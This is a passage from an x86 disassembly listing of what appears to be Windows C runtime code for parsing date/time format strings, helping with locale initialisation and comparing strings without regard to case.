mov [ebp+var_8], 0
mov dword_4DB454, 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_42F486
; ---------------------------------------------------------------------------
loc_42F47D: ; CODE XREF: sub_42F440+5Fj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_42F486: ; CODE XREF: sub_42F440+3Bj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
cmp eax, edx
jnz short loc_42F4A1
jmp short loc_42F47D
; ---------------------------------------------------------------------------
loc_42F4A1: ; CODE XREF: sub_42F440+5Dj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
sub edx, 27h
mov [ebp+var_14], edx
cmp [ebp+var_14], 52h
ja loc_42F810
mov ecx, [ebp+var_14]
xor eax, eax
mov al, byte_42F8EC[ecx]
jmp off_42F8C0[eax*4]
loc_42F4D8: ; DATA XREF: ___:0042F8CCo
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
sub eax, 1
mov [ebp+var_18], eax
cmp [ebp+var_18], 3
ja short loc_42F511
mov ecx, [ebp+var_18]
jmp dword ptr loc_42F93F[ecx*4]
mov dword_4DB454, 1
loc_42F501: ; CODE XREF: sub_42F440+B0j
mov [ebp+var_8], 6Dh
jmp short loc_42F511
; ---------------------------------------------------------------------------
loc_42F507: ; CODE XREF: sub_42F440+B0j
mov [ebp+var_8], 62h
jmp short loc_42F511
; ---------------------------------------------------------------------------
loc_42F50D: ; CODE XREF: sub_42F440+B0j
mov [ebp+var_8], 42h
loc_42F511: ; CODE XREF: sub_42F440+ABj
; sub_42F440+C5j ...
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F516: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8D0o
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 3
ja short loc_42F54F
mov ecx, [ebp+var_1C]
jmp dword ptr loc_42F94A+5[ecx*4]
loc_42F535: ; CODE XREF: sub_42F440+B0j
mov dword_4DB454, 1
loc_42F53F: ; CODE XREF: sub_42F440+B0j
; sub_42F440+EEj
mov [ebp+var_8], 64h
jmp short loc_42F54F
; ---------------------------------------------------------------------------
loc_42F545: ; CODE XREF: sub_42F440+B0j
; sub_42F440+EEj
mov [ebp+var_8], 61h
jmp short loc_42F54F
; ---------------------------------------------------------------------------
loc_42F54B: ; CODE XREF: sub_42F440+B0j
; sub_42F440+EEj
mov [ebp+var_8], 41h
loc_42F54F: ; CODE XREF: sub_42F440+E9j
; sub_42F440+103j ...
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F554: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8E4o
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
cmp [ebp+var_20], 2
jz short loc_42F568
cmp [ebp+var_20], 4
jz short loc_42F56E
jmp short loc_42F572
; ---------------------------------------------------------------------------
loc_42F568: ; CODE XREF: sub_42F440+11Ej
mov [ebp+var_8], 79h
jmp short loc_42F572
; ---------------------------------------------------------------------------
loc_42F56E: ; CODE XREF: sub_42F440+124j
mov [ebp+var_8], 59h
loc_42F572: ; CODE XREF: sub_42F440+126j
; sub_42F440+12Cj
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F577: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8D4o
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
cmp [ebp+var_24], 1
jz short loc_42F58B
cmp [ebp+var_24], 2
jz short loc_42F595
jmp short loc_42F599
; ---------------------------------------------------------------------------
loc_42F58B: ; CODE XREF: sub_42F440+141j
mov dword_4DB454, 1
loc_42F595: ; CODE XREF: sub_42F440+147j
mov [ebp+var_8], 49h
loc_42F599: ; CODE XREF: sub_42F440+149j
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F59E: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8C8o
mov ecx, [ebp+var_C]
mov [ebp+var_28], ecx
cmp [ebp+var_28], 1
jz short loc_42F5B2
cmp [ebp+var_28], 2
jz short loc_42F5BC
jmp short loc_42F5C0
; ---------------------------------------------------------------------------
loc_42F5B2: ; CODE XREF: sub_42F440+168j
mov dword_4DB454, 1
loc_42F5BC: ; CODE XREF: sub_42F440+16Ej
mov [ebp+var_8], 48h
loc_42F5C0: ; CODE XREF: sub_42F440+170j
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F5C5: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8D8o
mov edx, [ebp+var_C]
mov [ebp+var_2C], edx
cmp [ebp+var_2C], 1
jz short loc_42F5D9
cmp [ebp+var_2C], 2
jz short loc_42F5E3
jmp short loc_42F5E7
; ---------------------------------------------------------------------------
loc_42F5D9: ; CODE XREF: sub_42F440+18Fj
mov dword_4DB454, 1
loc_42F5E3: ; CODE XREF: sub_42F440+195j
mov [ebp+var_8], 4Dh
loc_42F5E7: ; CODE XREF: sub_42F440+197j
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F5EC: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8DCo
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
cmp [ebp+var_30], 1
jz short loc_42F600
cmp [ebp+var_30], 2
jz short loc_42F60A
jmp short loc_42F60E
; ---------------------------------------------------------------------------
loc_42F600: ; CODE XREF: sub_42F440+1B6j
mov dword_4DB454, 1
loc_42F60A: ; CODE XREF: sub_42F440+1BCj
mov [ebp+var_8], 53h
loc_42F60E: ; CODE XREF: sub_42F440+1BEj
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F613: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8C4o
push offset aAmPm ; "am/pm"
mov ecx, [ebp+arg_0]
push ecx
call sub_42FE70
add esp, 8
test eax, eax
jnz short loc_42F633
mov edx, [ebp+arg_0]
add edx, 5
mov [ebp+var_4], edx
jmp short loc_42F651
; ---------------------------------------------------------------------------
loc_42F633: ; CODE XREF: sub_42F440+1E6j
push offset aAP ; "a/p"
mov eax, [ebp+arg_0]
push eax
call sub_42FE70
add esp, 8
test eax, eax
jnz short loc_42F651
mov ecx, [ebp+arg_0]
add ecx, 3
mov [ebp+var_4], ecx
loc_42F651: ; CODE XREF: sub_42F440+1F1j
; sub_42F440+206j
mov [ebp+var_8], 70h
jmp loc_42F810
; ---------------------------------------------------------------------------
loc_42F65A: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:0042F8E0o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_42F671
mov eax, [ebp+arg_10]
mov ecx, [eax+98h]
mov [ebp+var_10], ecx
jmp short loc_42F67D
; ---------------------------------------------------------------------------
loc_42F671: ; CODE XREF: sub_42F440+221j
mov edx, [ebp+arg_10]
mov eax, [edx+9Ch]
mov [ebp+var_10], eax
loc_42F67D: ; CODE XREF: sub_42F440+22Fj
; sub_42F440+2DFj
cmp [ebp+var_C], 0
jle loc_42F724
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jbe loc_42F724
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42F6E7
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 1
jbe short loc_42F6E7
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
loc_42F6E7: ; CODE XREF: sub_42F440+26Ej
; sub_42F440+276j
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
jmp loc_42F67D
; ---------------------------------------------------------------------------
loc_42F724: ; CODE XREF: sub_42F440+241j
; sub_42F440+24Dj
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp loc_42F446
; ---------------------------------------------------------------------------
loc_42F72F: ; CODE XREF: sub_42F440+91j
; DATA XREF: ___:off_42F8C0o
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jz loc_42F802
mov edx, [ebp+arg_0]
add edx, [ebp+var_C]
mov [ebp+arg_0], edx
loc_42F746: ; CODE XREF: sub_42F440+3BBj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_42F800
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_42F800
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 27h
jnz short loc_42F779
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp loc_42F800
; ---------------------------------------------------------------------------
loc_42F779: ; CODE XREF: sub_42F440+329j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_42F7CC
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 1
jbe short loc_42F7CC
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_42F7CC: ; CODE XREF: sub_42F440+353j
; sub_42F440+35Bj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp loc_42F746
; ---------------------------------------------------------------------------
loc_42F800: ; CODE XREF: sub_42F440+30Ej
; sub_42F440+31Aj ...
jmp short loc_42F80B
; ---------------------------------------------------------------------------
loc_42F802: ; CODE XREF: sub_42F440+2F7j
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
mov [ebp+arg_0], eax
loc_42F80B: ; CODE XREF: sub_42F440:loc_42F800j
jmp loc_42F446
; ---------------------------------------------------------------------------
loc_42F810: ; CODE XREF: sub_42F440+80j
; sub_42F440+91j ...
movsx ecx, [ebp+var_8]
test ecx, ecx
jz short loc_42F83C
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov al, [ebp+var_8]
push eax
call sub_42EC70
add esp, 14h
mov ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
jmp short loc_42F8B7
; ---------------------------------------------------------------------------
loc_42F83C: ; CODE XREF: sub_42F440+3D6j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42F888
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_42F888: ; CODE XREF: sub_42F440+417j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_42F8B7: ; CODE XREF: sub_42F440+3FAj
jmp loc_42F446
; ---------------------------------------------------------------------------
loc_42F8BC: ; CODE XREF: sub_42F440+Ej
; sub_42F440+1Aj
mov esp, ebp
pop ebp
retn
sub_42F440 endp
; ---------------------------------------------------------------------------
off_42F8C0 dd offset loc_42F72F ; DATA XREF: sub_42F440+91r
dd offset loc_42F613
dd offset loc_42F59E
dd offset loc_42F4D8
dd offset loc_42F516
dd offset loc_42F577
dd offset loc_42F5C5
dd offset loc_42F5EC
dd offset loc_42F65A
dd offset loc_42F554
dd offset loc_42F810
byte_42F8EC db 0 ; DATA XREF: sub_42F440+8Br
; ---------------------------------------------------------------------------
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or al, [ecx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
add cl, [edx]
or cl, [edx]
or al, [ebx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or al, [ecx]
or cl, [edx]
add al, 0Ah
or cl, [edx]
add eax, 0A0A0A0Ah
push es
or cl, [edx]
or cl, [edx]
or al, [edi]
or [edx], cl
or cl, [edx]
or cl, [ecx]
loc_42F93F: ; DATA XREF: sub_42F440+B0r
div esp
inc edx
add [ecx], al
cmc
inc edx
add [edi], al
cmc
inc edx
loc_42F94A: ; DATA XREF: sub_42F440+EEr
add ds:350042F5h, cl
cmc
inc edx
add [edi], bh
cmc
inc edx
add [ebp-0Bh], al
inc edx
add [ebx-0Bh], cl
inc edx
add ah, cl
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F960 proc near ; CODE XREF: sub_42A9B0+41p
; sub_42A9B0+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_42FAC9
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_430950
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz loc_42FA4F
nop
call near ptr 26908EFh
cmp eax, 7Ah
jz short loc_42F9D0
jmp loc_42FAAD
; ---------------------------------------------------------------------------
loc_42F9D0: ; CODE XREF: sub_42F960+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_430950
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_42F9FA
jmp loc_42FAAD
; ---------------------------------------------------------------------------
loc_42F9FA: ; CODE XREF: sub_42F960+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call sub_414DD0
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42FA20
jmp loc_42FAAD
; ---------------------------------------------------------------------------
loc_42FA20: ; CODE XREF: sub_42F960+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_430950
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42FA4F
jmp short loc_42FAAD
; ---------------------------------------------------------------------------
loc_42FA4F: ; CODE XREF: sub_42F960+5Aj
; sub_42F960+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_414DD0
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_42FA79
jmp short loc_42FAAD
; ---------------------------------------------------------------------------
loc_42FA79: ; CODE XREF: sub_42F960+115j
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx
call sub_417770
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_42FAA6
push 2
mov edx, [ebp+var_C]
push edx
call sub_415860
add esp, 8
loc_42FAA6: ; CODE XREF: sub_42F960+136j
xor eax, eax
jmp loc_42FBE6
; ---------------------------------------------------------------------------
loc_42FAAD: ; CODE XREF: sub_42F960+6Bj
; sub_42F960+95j ...
cmp [ebp+var_4], 0
jz short loc_42FAC1
push 2
mov eax, [ebp+var_C]
push eax
call sub_415860
add esp, 8
loc_42FAC1: ; CODE XREF: sub_42F960+151j
or eax, 0FFFFFFFFh
jmp loc_42FBE6
; ---------------------------------------------------------------------------
loc_42FAC9: ; CODE XREF: sub_42F960+Dj
cmp [ebp+arg_0], 0
jnz loc_42FBE3
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
mov edx, [ebp+var_A4]
push edx
push offset byte_4DB430
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4307B0
add esp, 14h
test eax, eax
jnz short loc_42FB10
or eax, 0FFFFFFFFh
jmp loc_42FBE6
; ---------------------------------------------------------------------------
loc_42FB10: ; CODE XREF: sub_42F960+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_42FB34
; ---------------------------------------------------------------------------
loc_42FB25: ; CODE XREF: sub_42F960:loc_42FBDAj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_42FB34: ; CODE XREF: sub_42F960+1C3j
cmp [ebp+var_A0], 4
jge loc_42FBDF
cmp dword_443B70, 1
jle short loc_42FB7B
push 4
mov ecx, [ebp+var_A0]
mov dl, byte_4DB430[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax
call sub_41DA90
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_42FBAE
; ---------------------------------------------------------------------------
loc_42FB7B: ; CODE XREF: sub_42F960+1E8j
mov ecx, [ebp+var_A0]
mov dl, byte_4DB430[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_42FBAE: ; CODE XREF: sub_42F960+219j
cmp [ebp+var_A8], 0
jz short loc_42FBD8
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_42FBDA
; ---------------------------------------------------------------------------
loc_42FBD8: ; CODE XREF: sub_42F960+255j
jmp short loc_42FBDF
; ---------------------------------------------------------------------------
loc_42FBDA: ; CODE XREF: sub_42F960+276j
jmp loc_42FB25
; ---------------------------------------------------------------------------
loc_42FBDF: ; CODE XREF: sub_42F960+1DBj
; sub_42F960:loc_42FBD8j
xor eax, eax
jmp short loc_42FBE6
; ---------------------------------------------------------------------------
loc_42FBE3: ; CODE XREF: sub_42F960+16Dj
or eax, 0FFFFFFFFh
loc_42FBE6: ; CODE XREF: sub_42F960+148j
; sub_42F960+164j ...
mov esp, ebp
pop ebp
retn
sub_42F960 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, off_444E98
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FC00 proc near ; CODE XREF: sub_42B9E0+216p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434E88
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DB43C, 0
jnz short loc_42FC7E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_434260
push 1
nop
call near ptr 2650000h
test eax, eax
jz short loc_42FC52
mov dword_4DB43C, 1
jmp short loc_42FC7E
; ---------------------------------------------------------------------------
loc_42FC52: ; CODE XREF: sub_42FC00+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_43425C
push 1
push 0
call near ptr 2660000h
nop
test eax, eax
jz short loc_42FC77
mov dword_4DB43C, 2
jmp short loc_42FC7E
; ---------------------------------------------------------------------------
loc_42FC77: ; CODE XREF: sub_42FC00+69j
xor eax, eax
jmp loc_42FE59
; ---------------------------------------------------------------------------
loc_42FC7E: ; CODE XREF: sub_42FC00+2Dj
; sub_42FC00+50j ...
cmp dword_4DB43C, 1
jnz short loc_42FCA2
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
nop
call near ptr 2650000h
jmp loc_42FE59
; ---------------------------------------------------------------------------
loc_42FCA2: ; CODE XREF: sub_42FC00+85j
cmp dword_4DB43C, 2
jnz loc_42FE57
cmp [ebp+arg_10], 0
jnz short loc_42FCBD
mov eax, dword_4DB1C8
mov [ebp+arg_10], eax
loc_42FCBD: ; CODE XREF: sub_42FC00+B3j
push 0
push 0
push 0
push 0
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push 220h
mov eax, [ebp+arg_10]
push eax
nop
call near ptr 2710000h
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42FCEC
xor eax, eax
jmp loc_42FE59
; ---------------------------------------------------------------------------
loc_42FCEC: ; CODE XREF: sub_42FC00+E3j
mov [ebp+var_4], 0
mov eax, [ebp+var_28]
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_28]
push edx
push 0
mov eax, [ebp+var_2C]
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42FD3E
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42FD3E: ; CODE XREF: sub_42FC00+125j
cmp [ebp+var_2C], 0
jnz short loc_42FD4B
xor eax, eax
jmp loc_42FE59
; ---------------------------------------------------------------------------
loc_42FD4B: ; CODE XREF: sub_42FC00+142j
push 0
push 0
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
nop
call near ptr 2710000h
test eax, eax
jnz short loc_42FD79
xor eax, eax
jmp loc_42FE59
; ---------------------------------------------------------------------------
loc_42FD79: ; CODE XREF: sub_42FC00+170j
mov [ebp+var_4], 1
mov eax, [ebp+var_28]
lea eax, [eax+eax+2]
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42FDBD
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42FDBD: ; CODE XREF: sub_42FC00+1A4j
cmp [ebp+var_24], 0
jnz short loc_42FDCA
xor eax, eax
jmp loc_42FE59
; ---------------------------------------------------------------------------
loc_42FDCA: ; CODE XREF: sub_42FC00+1C1j
cmp [ebp+arg_14], 0
jnz short loc_42FDD9
mov edx, dword_4DB1B8
mov [ebp+arg_14], edx
loc_42FDD9: ; CODE XREF: sub_42FC00+1CEj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
mov word ptr [ecx+eax*2], 0FFFFh
mov edx, [ebp+arg_8]
mov eax, [ebp+var_24]
mov word ptr [eax+edx*2-2], 0FFFFh
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_14]
push edx
call near ptr 2660000h
nop
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2-2]
cmp edx, 0FFFFh
jz short loc_42FE38
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2]
cmp edx, 0FFFFh
jz short loc_42FE3C
loc_42FE38: ; CODE XREF: sub_42FC00+222j
xor eax, eax
jmp short loc_42FE59
; ---------------------------------------------------------------------------
loc_42FE3C: ; CODE XREF: sub_42FC00+236j
mov eax, [ebp+arg_8]
shl eax, 1
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_4197C0
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_42FE59
; ---------------------------------------------------------------------------
loc_42FE57: ; CODE XREF: sub_42FC00+A9j
xor eax, eax
loc_42FE59: ; CODE XREF: sub_42FC00+79j
; sub_42FC00+9Dj ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42FC00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FE70 proc near ; CODE XREF: sub_42C010+40p
; sub_42C160+5Fp ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DB1B0
cmp dword ptr [eax+8], 0
jnz short loc_42FEC3
mov al, 0FFh
mov edi, edi
loc_42FE8C: ; CODE XREF: sub_42FE70+28j
; sub_42FE70+48j
or al, al
jz short loc_42FEBE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_42FE8C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_42FE8C
sbb al, al
sbb al, 0FFh
loc_42FEBE: ; CODE XREF: sub_42FE70+1Ej
movsx eax, al
jmp short loc_42FF3B
; ---------------------------------------------------------------------------
loc_42FEC3: ; CODE XREF: sub_42FE70+16j
lock inc dword_4DB45C
cmp dword_4DB458, 0
jg short loc_42FED7
push 0
jmp short loc_42FEEC
; ---------------------------------------------------------------------------
loc_42FED7: ; CODE XREF: sub_42FE70+61j
lock dec dword_4DB45C
push 13h
call sub_41B780
mov [esp+10h+var_10], 1
loc_42FEEC: ; CODE XREF: sub_42FE70+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_42FEF4: ; CODE XREF: sub_42FE70+90j
; sub_42FE70+A8j
or al, al
jz short loc_42FF1F
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_42FEF4
push eax
push ebx
call sub_41A6D0
mov ebx, eax
add esp, 4
call sub_41A6D0
add esp, 4
cmp bl, al
jz short loc_42FEF4
